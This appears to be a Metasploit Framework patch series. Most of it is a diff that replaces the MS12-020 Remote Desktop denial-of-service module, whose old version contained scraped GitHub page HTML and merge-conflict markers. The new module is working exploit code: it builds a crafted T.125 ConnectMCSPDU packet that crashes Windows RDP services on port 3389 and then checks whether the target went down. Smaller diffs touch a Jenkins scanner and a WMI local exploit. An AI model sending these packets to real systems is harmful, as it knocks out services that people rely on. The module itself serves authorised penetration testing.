print_line(" User: " + out[dex+1]) when "USERDOMAIN" - print(" Domain: " + out[dex+1] + "\n") + print_line(" Domain: " + out[dex+1]) when "SHELL" - print(" Shell: " + out[dex+1] + "\n") + print_line(" Shell: " + out[dex+1]) end end - print("\n") + print_line('') end end From dff26ac9ff8d1ffd0abcb8638adf20a46b3dd383 Mon Sep 17 00:00:00 2001 From: jamcut Date: Tue, 17 Sep 2013 11:28:46 -0400 Subject: [PATCH 028/409] Used default timeout forgot an additional default timeout in my previous commit --- modules/auxiliary/scanner/http/jenkins_vulnscan.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/jenkins_vulnscan.rb b/modules/auxiliary/scanner/http/jenkins_vulnscan.rb index 4d3d2d6057..00e8941ece 100755 --- a/modules/auxiliary/scanner/http/jenkins_vulnscan.rb +++ b/modules/auxiliary/scanner/http/jenkins_vulnscan.rb @@ -58,7 +58,7 @@ class Metasploit3 < Msf::Auxiliary 'uri' => uri_path, 'method' => 'GET', 'ctype' => 'text/plain', - }, 20) + }) case (res.code) when 200 print_good("#{rhost}:#{rport} /#{app} does not require authentication (200)") From a00f3d8b8e6a97a431bc17bc6429361a827255f1 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 20 Sep 2013 13:40:28 +0100 Subject: [PATCH 029/409] initial --- lib/msf/core/exploit/powershell.rb | 4 +- modules/exploits/windows/local/wmis.rb | 80 ++++++++++++++++++++++++++ 2 files changed, 82 insertions(+), 2 deletions(-) create mode 100644 modules/exploits/windows/local/wmis.rb diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb index e5bdf69cc3..096348098d 100644 --- a/lib/msf/core/exploit/powershell.rb +++ b/lib/msf/core/exploit/powershell.rb @@ -116,7 +116,7 @@ module Exploit::Powershell ps_wrapper = <
+ + + + + + +
+
+ + + + + + + +
+ + +
+ + + + + +
+ + This repository + + +
+
+ +
+ + +
This repository
+
+ +
+ + +
All repositories
+
+ +
+
+
+ + + + + + + + +
+
+ +
+
+ + + + + +
+ +
+
+ + + + +

+ public + + + + + / + metasploit-framework + + + Octocat-spinner-32 + + + + forked from rapid7/metasploit-framework + +

+
+
+ +
+ +
+ +
+ + +
+ +
+ +
+ + + + +
+

HTTPS clone URL

+
+ + + +
+
+ + + +
+

Subversion checkout URL

+
+ + + +
+
+ + +

You can clone with + HTTPS, + or Subversion. + + + + + +

+ + + + + + Download ZIP + +
+
+ +
+ + + + + + + + + +
+ + + +
+ + + tree: + 5dcff47b1e + + +
+ +
+
+ Switch branches/tags + +
+ +
+
+ +
+
+ +
+
+ +
+ +
+ + + + + +
+ + CWE +
+ + + + + + +
+ + WinRM +
+ + + + + + + + + + + +
+ + arkeia_refs +
+
+ + arm_stagers +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + cwe_support +
+ + + + +
+ + dcbz-master +
+ + +
+ + devise_clean +
+ +
+ + dlink_fix +
+
+ + dlink_review +
+ + +
+ + dns_info_fix +
+ + +
+ + dvr_config +
+
+ + eap_md5 +
+ + + + + + + + + + + + + + + + + + + + + + + + +
+ + findpids +
+ +
+ + fix-2438 +
+ + + + + + + + + + + + + + + +
+ + fix_zdi_ref +
+ + + + +
+ + freebsd_fix +
+
+ + freefloat +
+
+ + github_pulls +
+ + + + + + + + + + + + + + + + + + + + + +
+ + ie_w2003 +
+ + + + +
+ + instantcms +
+
+ + j0hnf-master +
+ + + +
+ + java_cmm +
+ + + + + + + + +
+ + jboss_fix +
+ + + + + +
+ + joomla_work +
+
+ + jre7u17 +
+
+ + jtr_seeding +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + master +
+ +
+ + maxthon +
+ + + + +
+ + mipsbe_elf +
+ + + + + + +
+ + ms09-022 +
+
+ + ms12-005_mod +
+ + + + + + + + +
+ + netcat_note +
+ + + + + + + + + + + + +
+ + openpli_work +
+ +
+ + osvdb_93696 +
+ +
+ + osvdb_refs +
+ + + + + + + + + + + + +
+ + post_require +
+ + + + + +
+ + psexec-url +
+ +
+ + ra1nx_work +
+ +
+ + rails3 +
+
+ + rapid7 +
+ + +
+ + release +
+
+ + release-4.5 +
+ + + + +
+ + review-2142 +
+
+ + review-2412 +
+ + + +
+ + rfcode_work +
+
+ + rlstest +
+ + + + + + + + + + + + + +
+ + sapni_work +
+ + + + + + + + + + + + + + + + +
+ + temp-4.4.0 +
+
+ + test-2188 +
+ + +
+ + test_osx +
+ +
+ + udp_windows +
+ +
+ + undo_post +
+ +
+ + unstable +
+ + +
+ + v0pCr3w_work +
+
+ + vbulletin +
+ +
+ + web-modules +
+ +
+ + work_2227 +
+
+ + work_osx +
+ + +
+ + zd_13_226 +
+
+ + zdi_13_006 +
+ +
+ + zdi_13_182 +
+
+ + zdi_13_190 +
+
+ + zdi_13_205 +
+
+ + zdi_13_207 +
+
+ + zdi_13_225 +
+ + + + +
+ + zpanel_zsudo +
+
+ +
Nothing to show
+
+ +
+
+ + + + + + + + + + + + + +
+ + 2012111402 +
+
+ + 2012111401 +
+
+ + 2012103101 +
+
+ + 2012102401 +
+
+ + 2012101702 +
+
+ + 2012101701 +
+
+ + 2012101002 +
+
+ + 2012101001 +
+
+ + 2012100301 +
+
+ + 2012092601 +
+
+ + 2012091901 +
+
+ + 2012091202 +
+
+ + 2012091201 +
+
+ + 2012090501 +
+
+ + 2012082901 +
+
+ + 2012082202 +
+
+ + 2012082201 +
+
+ + 2012081601 +
+
+ + 2012080801 +
+
+ + 2012071701 +
+
+ + 2012071101 +
+
+ + 2012070401 +
+
+ + 2012062702 +
+
+ + 2012062701 +
+
+ + 2012062001 +
+
+ + 2012061301 +
+
+ + 2012060603 +
+
+ + 2012060601 +
+
+ + 2012053002 +
+
+ + 2012052303 +
+
+ + 2012051603 +
+
+ + 2012050901 +
+
+ + 2012050201 +
+
+ + 2012040401 +
+
+ + 2012032801 +
+
+ + 2012032101 +
+
+ + 2012031401 +
+
+ + 2012030701 +
+
+ + 2012022901 +
+
+ + 4.4.0 +
+
+ + 4.3.0 +
+
+ + 4.2-stable +
+
+ + 4.2.0 +
+
+ +
Nothing to show
+
+ +
+
+
+ + +
+ + + +
+ + + + + + + +
+ +
+
+
+
+ + file + 173 lines (158 sloc) + 5.917 kb +
+ + +
+
+ + + + + +
+ 1 +2 +3 +4 +5 +6 +7 +8 +9 +10 +11 +12 +13 +14 +15 +16 +17 +18 +19 +20 +21 +22 +23 +24 +25 +26 +27 +28 +29 +30 +31 +32 +33 +34 +35 +36 +37 +38 +39 +40 +41 +42 +43 +44 +45 +46 +47 +48 +49 +50 +51 +52 +53 +54 +55 +56 +57 +58 +59 +60 +61 +62 +63 +64 +65 +66 +67 +68 +69 +70 +71 +72 +73 +74 +75 +76 +77 +78 +79 +80 +81 +82 +83 +84 +85 +86 +87 +88 +89 +90 +91 +92 +93 +94 +95 +96 +97 +98 +99 +100 +101 +102 +103 +104 +105 +106 +107 +108 +109 +110 +111 +112 +113 +114 +115 +116 +117 +118 +119 +120 +121 +122 +123 +124 +125 +126 +127 +128 +129 +130 +131 +132 +133 +134 +135 +136 +137 +138 +139 +140 +141 +142 +143 +144 +145 +146 +147 +148 +149 +150 +151 +152 +153 +154 +155 +156 +157 +158 +159 +160 +161 +162 +163 +164 +165 +166 +167 +168 +169 +170 +171 +172 + + +
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'MS12-020 Microsoft Remote Desktop Use-After-Free DoS',
      'Description' => %q{
This module exploits the MS12-020 RDP vulnerability originally discovered and
reported by Luigi Auriemma. The flaw can be found in the way the T.125
ConnectMCSPDU packet is handled in the maxChannelIDs field, which will result
an invalid pointer being used, therefore causing a denial-of-service condition.
},
      'References' =>
        [
          [ 'CVE', '2012-0002' ],
          [ 'MSB', 'MS12-020' ],
          [ 'URL', 'http://www.privatepaste.com/ffe875e04a' ],
          [ 'URL', 'http://pastie.org/private/4egcqt9nucxnsiksudy5dw' ],
          [ 'URL', 'http://pastie.org/private/feg8du0e9kfagng4rrg' ],
          [ 'URL', 'http://stratsec.blogspot.com.au/2012/03/ms12-020-vulnerability-for-breakfast.html' ],
          [ 'EDB', '18606' ],
          [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/03/21/metasploit-update' ]
        ],
      'Author' =>
        [
          'Luigi Auriemma',
          'Daniel Godas-Lopez', # Entirely based on Daniel's pastie
          'Alex Ionescu',
          'jduck',
          '#ms12-020' # Freenode IRC
        ],
      'License' => MSF_LICENSE,
      'DisclosureDate' => "Mar 16 2012"
    ))

    register_options(
      [
        Opt::RPORT(3389)
      ], self.class)
  end

  def is_rdp_up
    begin
      connect
      disconnect
      return true
    rescue Rex::ConnectionRefused
      return false
    rescue Rex::ConnectionTimeout
      return false
    end
  end

  def run
    max_channel_ids = "\x02\x01\xff"

    pkt = ''+
      "\x03\x00\x00\x13" + # TPKT: version + length
      "\x0E\xE0\x00\x00" + # X.224 (connection request)
      "\x00\x00\x00\x01" +
      "\x00\x08\x00\x00" +
      "\x00\x00\x00" +
      "\x03\x00\x00\x6A" + # TPKT: version + length
      "\x02\xF0\x80" + # X.224 (connect-initial)
      "\x7F\x65\x82\x00" + # T.125
      "\x5E" +
      "\x04\x01\x01" + # callingDomainSelector
      "\x04\x01\x01" + # calledDomainSelector
      "\x01\x01\xFF" + # upwardFlag
      "\x30\x19" + # targetParameters
      max_channel_ids + # maxChannelIds
      "\x02\x01\xFF" + # maxUserIds
      "\x02\x01\x00" + # maxTokenIds
      "\x02\x01\x01" + # numPriorities
      "\x02\x01\x00" + # minThroughput
      "\x02\x01\x01" + # maxHeight
      "\x02\x02\x00\x7C" + # maxMCSPDUsize
      "\x02\x01\x02" + # protocolVersion
      "\x30\x19" + # minimumParameters
      max_channel_ids + # maxChannelIds
      "\x02\x01\xFF" + # maxUserIds
      "\x02\x01\x00" + # maxTokenIds
      "\x02\x01\x01" + # numPriorities
      "\x02\x01\x00" + # minThroughput
      "\x02\x01\x01" + # maxHeight
      "\x02\x02\x00\x7C" + # maxMCSPDUsize
      "\x02\x01\x02" + # protocolVersion
      "\x30\x19" + # maximumParameters
      max_channel_ids + # maxChannelIds
      "\x02\x01\xFF" + # maxUserIds
      "\x02\x01\x00" + # maxTokenIds
      "\x02\x01\x01" + # numPriorities
      "\x02\x01\x00" + # minThroughput
      "\x02\x01\x01" + # maxHeight
      "\x02\x02\x00\x7C" + # maxMCSPDUsize
      "\x02\x01\x02" + # protocolVersion
      "\x04\x82\x00\x00" + # userData
      "\x03\x00\x00\x08" + # TPKT: version + length
      "\x02\xF0\x80" + # X.224
      "\x28" + # T.125
      "\x03\x00\x00\x08" + # TPKT: version + length
      "\x02\xF0\x80" + # X.224
      "\x28" + # T.125
      "\x03\x00\x00\x08" + # TPKT: version + length
      "\x02\xF0\x80" + # X.224
      "\x28" + # T.125
      "\x03\x00\x00\x08" + # TPKT: version + length
      "\x02\xF0\x80" + # X.224
      "\x28" + # T.125
      "\x03\x00\x00\x08" + # TPKT: version + length
      "\x02\xF0\x80" + # X.224
      "\x28" + # T.125
      "\x03\x00\x00\x08" + # TPKT: version + length
      "\x02\xF0\x80" + # X.224
      "\x28" + # T.125
      "\x03\x00\x00\x08" + # TPKT: version + length
      "\x02\xF0\x80" + # X.224
      "\x28" + # T.125
      "\x03\x00\x00\x08" + # TPKT: version + length
      "\x02\xF0\x80" + # X.224
      "\x28" + # T.125
      "\x03\x00\x00\x0C" + # TPKT: version + length
      "\x02\xF0\x80" + # X.224
      "\x38\x00\x06\x03" + # T.125
      "\xF0" +
      "\x03\x00\x00\x09" + # TPKT: version + length
      "\x02\xF0\x80" + # X.224
      "\x21\x80" # T.125

    unless is_rdp_up
      print_error("#{rhost}:#{rport} - RDP Service Unreachable")
      return
    end

    connect
    print_status("#{rhost}:#{rport} - Sending #{self.name}")
    sock.put(pkt)
    Rex.sleep(3)
    disconnect
    print_status("#{rhost}:#{rport} - #{pkt.length.to_s} bytes sent")

    print_status("#{rhost}:#{rport} - Checking RDP status...")

    if is_rdp_up
      print_error("#{rhost}:#{rport} - RDP Service Unreachable")
      return
    else
      print_good("#{rhost}:#{rport} seems down")
      report_vuln({
        :host => rhost,
        :port => rport,
        :name => self.name,
        :refs => self.references,
        :info => "Module #{self.fullname} successfully crashed the target system via RDP"
      })
    end

  end

end
+
+
+ +
+
+ + + + +
+ +
+ +
+
+ + +
+ +
+ +
+ + +
+
+
+ +
+
+
+
+
+
+ +
+ + + +
+ + + Something went wrong with that request. Please try again. +
+ + + - print_status("#{rhost}:#{rport} - Checking RDP status...") - if not is_rdp_up - print_good("#{rhost}:#{rport} seems down") - report_vuln({ - :host => rhost, - :port => rport, - :name => self.name, - :refs => self.references, - :info => "Module #{self.fullname} successfully crashed the target system via RDP" - }) - else - print_status("#{rhost}:#{rport} is still up") - end - end - end -<<<<<<< HEAD -<<<<<<< HEAD ->>>>>>> Update ms12_020_maxchannelids.rb -======= ->>>>>>> f1ab7b51b1c7bef02d1fc094ba591a03303bef10 -======= ->>>>>>> f1ab7b51b1c7bef02d1fc094ba591a03303bef10 -end From 7b82c649835be90b0b548de4742e126e8615ddcf Mon Sep 17 00:00:00 2001 From: darknight007 Date: Sat, 12 Oct 2013 16:49:03 +0500 Subject: [PATCH 138/409] ms12-020 stack print resolve --- .../dos/windows/rdp/ms12_020_maxchannelids.rb | 4620 +---------------- 1 file changed, 172 insertions(+), 4448 deletions(-) diff --git a/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb b/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb index bd85ec7c79..d05fd61c17 100644 --- a/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb +++ b/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb @@ -1,4448 +1,172 @@ - - - - - - - - - metasploit-framework/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb at 5dcff47b1efa5359562a28b5717a9f4895185597 · jvazquez-r7/metasploit-framework · GitHub - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - - - -
-
- - - - - - - -
- - -
- - - - - -
- - This repository - - -
-
- -
- - -
This repository
-
- -
- - -
All repositories
-
- -
-
-
- - - - - - - - -
-
- -
-
- - - - - -
- -
-
- - - - -

- public - - - - - / - metasploit-framework - - - Octocat-spinner-32 - - - - forked from rapid7/metasploit-framework - -

-
-
- -
- -
- -
- - -
- -
- -
- - - - -
-

HTTPS clone URL

-
- - - -
-
- - - -
-

Subversion checkout URL

-
- - - -
-
- - -

You can clone with - HTTPS, - or Subversion. - - - - - -

- - - - - - Download ZIP - -
-
- -
- - - - - - - - - -
- - - -
- - - tree: - 5dcff47b1e - - -
- -
-
- Switch branches/tags - -
- -
-
- -
-
- -
-
- -
- -
- - - - - -
- - CWE -
- - - - - - -
- - WinRM -
- - - - - - - - - - - -
- - arkeia_refs -
-
- - arm_stagers -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - cwe_support -
- - - - -
- - dcbz-master -
- - -
- - devise_clean -
- -
- - dlink_fix -
-
- - dlink_review -
- - -
- - dns_info_fix -
- - -
- - dvr_config -
-
- - eap_md5 -
- - - - - - - - - - - - - - - - - - - - - - - - -
- - findpids -
- -
- - fix-2438 -
- - - - - - - - - - - - - - - -
- - fix_zdi_ref -
- - - - -
- - freebsd_fix -
-
- - freefloat -
-
- - github_pulls -
- - - - - - - - - - - - - - - - - - - - - -
- - ie_w2003 -
- - - - -
- - instantcms -
-
- - j0hnf-master -
- - - -
- - java_cmm -
- - - - - - - - -
- - jboss_fix -
- - - - - -
- - joomla_work -
-
- - jre7u17 -
-
- - jtr_seeding -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - master -
- -
- - maxthon -
- - - - -
- - mipsbe_elf -
- - - - - - -
- - ms09-022 -
-
- - ms12-005_mod -
- - - - - - - - -
- - netcat_note -
- - - - - - - - - - - - -
- - openpli_work -
- -
- - osvdb_93696 -
- -
- - osvdb_refs -
- - - - - - - - - - - - -
- - post_require -
- - - - - -
- - psexec-url -
- -
- - ra1nx_work -
- -
- - rails3 -
-
- - rapid7 -
- - -
- - release -
-
- - release-4.5 -
- - - - -
- - review-2142 -
-
- - review-2412 -
- - - -
- - rfcode_work -
-
- - rlstest -
- - - - - - - - - - - - - -
- - sapni_work -
- - - - - - - - - - - - - - - - -
- - temp-4.4.0 -
-
- - test-2188 -
- - -
- - test_osx -
- -
- - udp_windows -
- -
- - undo_post -
- -
- - unstable -
- - -
- - v0pCr3w_work -
-
- - vbulletin -
- -
- - web-modules -
- -
- - work_2227 -
-
- - work_osx -
- - -
- - zd_13_226 -
-
- - zdi_13_006 -
- -
- - zdi_13_182 -
-
- - zdi_13_190 -
-
- - zdi_13_205 -
-
- - zdi_13_207 -
-
- - zdi_13_225 -
- - - - -
- - zpanel_zsudo -
-
- -
Nothing to show
-
- -
-
- - - - - - - - - - - - - -
- - 2012111402 -
-
- - 2012111401 -
-
- - 2012103101 -
-
- - 2012102401 -
-
- - 2012101702 -
-
- - 2012101701 -
-
- - 2012101002 -
-
- - 2012101001 -
-
- - 2012100301 -
-
- - 2012092601 -
-
- - 2012091901 -
-
- - 2012091202 -
-
- - 2012091201 -
-
- - 2012090501 -
-
- - 2012082901 -
-
- - 2012082202 -
-
- - 2012082201 -
-
- - 2012081601 -
-
- - 2012080801 -
-
- - 2012071701 -
-
- - 2012071101 -
-
- - 2012070401 -
-
- - 2012062702 -
-
- - 2012062701 -
-
- - 2012062001 -
-
- - 2012061301 -
-
- - 2012060603 -
-
- - 2012060601 -
-
- - 2012053002 -
-
- - 2012052303 -
-
- - 2012051603 -
-
- - 2012050901 -
-
- - 2012050201 -
-
- - 2012040401 -
-
- - 2012032801 -
-
- - 2012032101 -
-
- - 2012031401 -
-
- - 2012030701 -
-
- - 2012022901 -
-
- - 4.4.0 -
-
- - 4.3.0 -
-
- - 4.2-stable -
-
- - 4.2.0 -
-
- -
Nothing to show
-
- -
-
-
- - -
- - - -
- - - - - - - -
- -
-
-
-
- - file - 173 lines (158 sloc) - 5.917 kb -
- - -
-
- - - - - -
- 1 -2 -3 -4 -5 -6 -7 -8 -9 -10 -11 -12 -13 -14 -15 -16 -17 -18 -19 -20 -21 -22 -23 -24 -25 -26 -27 -28 -29 -30 -31 -32 -33 -34 -35 -36 -37 -38 -39 -40 -41 -42 -43 -44 -45 -46 -47 -48 -49 -50 -51 -52 -53 -54 -55 -56 -57 -58 -59 -60 -61 -62 -63 -64 -65 -66 -67 -68 -69 -70 -71 -72 -73 -74 -75 -76 -77 -78 -79 -80 -81 -82 -83 -84 -85 -86 -87 -88 -89 -90 -91 -92 -93 -94 -95 -96 -97 -98 -99 -100 -101 -102 -103 -104 -105 -106 -107 -108 -109 -110 -111 -112 -113 -114 -115 -116 -117 -118 -119 -120 -121 -122 -123 -124 -125 -126 -127 -128 -129 -130 -131 -132 -133 -134 -135 -136 -137 -138 -139 -140 -141 -142 -143 -144 -145 -146 -147 -148 -149 -150 -151 -152 -153 -154 -155 -156 -157 -158 -159 -160 -161 -162 -163 -164 -165 -166 -167 -168 -169 -170 -171 -172 - - -
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'MS12-020 Microsoft Remote Desktop Use-After-Free DoS',
      'Description' => %q{
This module exploits the MS12-020 RDP vulnerability originally discovered and
reported by Luigi Auriemma. The flaw can be found in the way the T.125
ConnectMCSPDU packet is handled in the maxChannelIDs field, which will result
an invalid pointer being used, therefore causing a denial-of-service condition.
},
      'References' =>
        [
          [ 'CVE', '2012-0002' ],
          [ 'MSB', 'MS12-020' ],
          [ 'URL', 'http://www.privatepaste.com/ffe875e04a' ],
          [ 'URL', 'http://pastie.org/private/4egcqt9nucxnsiksudy5dw' ],
          [ 'URL', 'http://pastie.org/private/feg8du0e9kfagng4rrg' ],
          [ 'URL', 'http://stratsec.blogspot.com.au/2012/03/ms12-020-vulnerability-for-breakfast.html' ],
          [ 'EDB', '18606' ],
          [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/03/21/metasploit-update' ]
        ],
      'Author' =>
        [
          'Luigi Auriemma',
          'Daniel Godas-Lopez', # Entirely based on Daniel's pastie
          'Alex Ionescu',
          'jduck',
          '#ms12-020' # Freenode IRC
        ],
      'License' => MSF_LICENSE,
      'DisclosureDate' => "Mar 16 2012"
    ))

    register_options(
      [
        Opt::RPORT(3389)
      ], self.class)
  end

  def is_rdp_up
    begin
      connect
      disconnect
      return true
    rescue Rex::ConnectionRefused
      return false
    rescue Rex::ConnectionTimeout
      return false
    end
  end

  def run
    max_channel_ids = "\x02\x01\xff"

    pkt = ''+
      "\x03\x00\x00\x13" + # TPKT: version + length
      "\x0E\xE0\x00\x00" + # X.224 (connection request)
      "\x00\x00\x00\x01" +
      "\x00\x08\x00\x00" +
      "\x00\x00\x00" +
      "\x03\x00\x00\x6A" + # TPKT: version + length
      "\x02\xF0\x80" + # X.224 (connect-initial)
      "\x7F\x65\x82\x00" + # T.125
      "\x5E" +
      "\x04\x01\x01" + # callingDomainSelector
      "\x04\x01\x01" + # calledDomainSelector
      "\x01\x01\xFF" + # upwardFlag
      "\x30\x19" + # targetParameters
      max_channel_ids + # maxChannelIds
      "\x02\x01\xFF" + # maxUserIds
      "\x02\x01\x00" + # maxTokenIds
      "\x02\x01\x01" + # numPriorities
      "\x02\x01\x00" + # minThroughput
      "\x02\x01\x01" + # maxHeight
      "\x02\x02\x00\x7C" + # maxMCSPDUsize
      "\x02\x01\x02" + # protocolVersion
      "\x30\x19" + # minimumParameters
      max_channel_ids + # maxChannelIds
      "\x02\x01\xFF" + # maxUserIds
      "\x02\x01\x00" + # maxTokenIds
      "\x02\x01\x01" + # numPriorities
      "\x02\x01\x00" + # minThroughput
      "\x02\x01\x01" + # maxHeight
      "\x02\x02\x00\x7C" + # maxMCSPDUsize
      "\x02\x01\x02" + # protocolVersion
      "\x30\x19" + # maximumParameters
      max_channel_ids + # maxChannelIds
      "\x02\x01\xFF" + # maxUserIds
      "\x02\x01\x00" + # maxTokenIds
      "\x02\x01\x01" + # numPriorities
      "\x02\x01\x00" + # minThroughput
      "\x02\x01\x01" + # maxHeight
      "\x02\x02\x00\x7C" + # maxMCSPDUsize
      "\x02\x01\x02" + # protocolVersion
      "\x04\x82\x00\x00" + # userData
      "\x03\x00\x00\x08" + # TPKT: version + length
      "\x02\xF0\x80" + # X.224
      "\x28" + # T.125
      "\x03\x00\x00\x08" + # TPKT: version + length
      "\x02\xF0\x80" + # X.224
      "\x28" + # T.125
      "\x03\x00\x00\x08" + # TPKT: version + length
      "\x02\xF0\x80" + # X.224
      "\x28" + # T.125
      "\x03\x00\x00\x08" + # TPKT: version + length
      "\x02\xF0\x80" + # X.224
      "\x28" + # T.125
      "\x03\x00\x00\x08" + # TPKT: version + length
      "\x02\xF0\x80" + # X.224
      "\x28" + # T.125
      "\x03\x00\x00\x08" + # TPKT: version + length
      "\x02\xF0\x80" + # X.224
      "\x28" + # T.125
      "\x03\x00\x00\x08" + # TPKT: version + length
      "\x02\xF0\x80" + # X.224
      "\x28" + # T.125
      "\x03\x00\x00\x08" + # TPKT: version + length
      "\x02\xF0\x80" + # X.224
      "\x28" + # T.125
      "\x03\x00\x00\x0C" + # TPKT: version + length
      "\x02\xF0\x80" + # X.224
      "\x38\x00\x06\x03" + # T.125
      "\xF0" +
      "\x03\x00\x00\x09" + # TPKT: version + length
      "\x02\xF0\x80" + # X.224
      "\x21\x80" # T.125

    unless is_rdp_up
      print_error("#{rhost}:#{rport} - RDP Service Unreachable")
      return
    end

    connect
    print_status("#{rhost}:#{rport} - Sending #{self.name}")
    sock.put(pkt)
    Rex.sleep(3)
    disconnect
    print_status("#{rhost}:#{rport} - #{pkt.length.to_s} bytes sent")

    print_status("#{rhost}:#{rport} - Checking RDP status...")

    if is_rdp_up
      print_error("#{rhost}:#{rport} - RDP Service Unreachable")
      return
    else
      print_good("#{rhost}:#{rport} seems down")
      report_vuln({
        :host => rhost,
        :port => rport,
        :name => self.name,
        :refs => self.references,
        :info => "Module #{self.fullname} successfully crashed the target system via RDP"
      })
    end

  end

end
-
-
- -
-
- - - - -
- -
- -
-
- - -
- -
- -
- - -
-
-
- -
-
-
-
-
-
- -
- - - -
- - - Something went wrong with that request. Please try again. -
- - - - +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Dos + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'MS12-020 Microsoft Remote Desktop Use-After-Free DoS', + 'Description' => %q{ + This module exploits the MS12-020 RDP vulnerability originally discovered and + reported by Luigi Auriemma. The flaw can be found in the way the T.125 + ConnectMCSPDU packet is handled in the maxChannelIDs field, which will result + an invalid pointer being used, therefore causing a denial-of-service condition. + }, + 'References' => + [ + [ 'CVE', '2012-0002' ], + [ 'MSB', 'MS12-020' ], + [ 'URL', 'http://www.privatepaste.com/ffe875e04a' ], + [ 'URL', 'http://pastie.org/private/4egcqt9nucxnsiksudy5dw' ], + [ 'URL', 'http://pastie.org/private/feg8du0e9kfagng4rrg' ], + [ 'URL', 'http://stratsec.blogspot.com.au/2012/03/ms12-020-vulnerability-for-breakfast.html' ], + [ 'EDB', '18606' ], + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/03/21/metasploit-update' ] + ], + 'Author' => + [ + 'Luigi Auriemma', + 'Daniel Godas-Lopez', # Entirely based on Daniel's pastie + 'Alex Ionescu', + 'jduck', + '#ms12-020' # Freenode IRC + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => "Mar 16 2012" + )) + + register_options( + [ + Opt::RPORT(3389) + ], self.class) + end + + def is_rdp_up + begin + connect + disconnect + return true + rescue Rex::ConnectionRefused + return false + rescue Rex::ConnectionTimeout + return false + end + end + + def run + max_channel_ids = "\x02\x01\xff" + + pkt = ''+ + "\x03\x00\x00\x13" + # TPKT: version + length + "\x0E\xE0\x00\x00" + # X.224 (connection request) + "\x00\x00\x00\x01" + + "\x00\x08\x00\x00" + + "\x00\x00\x00" + + "\x03\x00\x00\x6A" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 (connect-initial) + "\x7F\x65\x82\x00" + # T.125 + "\x5E" + + "\x04\x01\x01" + # callingDomainSelector + "\x04\x01\x01" + # calledDomainSelector + "\x01\x01\xFF" + # upwardFlag + "\x30\x19" + # targetParameters + max_channel_ids + # maxChannelIds + "\x02\x01\xFF" + # maxUserIds + "\x02\x01\x00" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x02\x00\x7C" + # maxMCSPDUsize + "\x02\x01\x02" + # protocolVersion + "\x30\x19" + # minimumParameters + max_channel_ids + # maxChannelIds + "\x02\x01\xFF" + # maxUserIds + "\x02\x01\x00" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x02\x00\x7C" + # maxMCSPDUsize + "\x02\x01\x02" + # protocolVersion + "\x30\x19" + # maximumParameters + max_channel_ids + # maxChannelIds + "\x02\x01\xFF" + # maxUserIds + "\x02\x01\x00" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x02\x00\x7C" + # maxMCSPDUsize + "\x02\x01\x02" + # protocolVersion + "\x04\x82\x00\x00" + # userData + "\x03\x00\x00\x08" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x28" + # T.125 + "\x03\x00\x00\x08" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x28" + # T.125 + "\x03\x00\x00\x08" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x28" + # T.125 + "\x03\x00\x00\x08" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x28" + # T.125 + "\x03\x00\x00\x08" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x28" + # T.125 + "\x03\x00\x00\x08" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x28" + # T.125 + "\x03\x00\x00\x08" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x28" + # T.125 + "\x03\x00\x00\x08" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x28" + # T.125 + "\x03\x00\x00\x0C" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x38\x00\x06\x03" + # T.125 + "\xF0" + + "\x03\x00\x00\x09" + # TPKT: version + length + "\x02\xF0\x80" + # X.224 + "\x21\x80" # T.125 + + unless is_rdp_up + print_error("#{rhost}:#{rport} - RDP 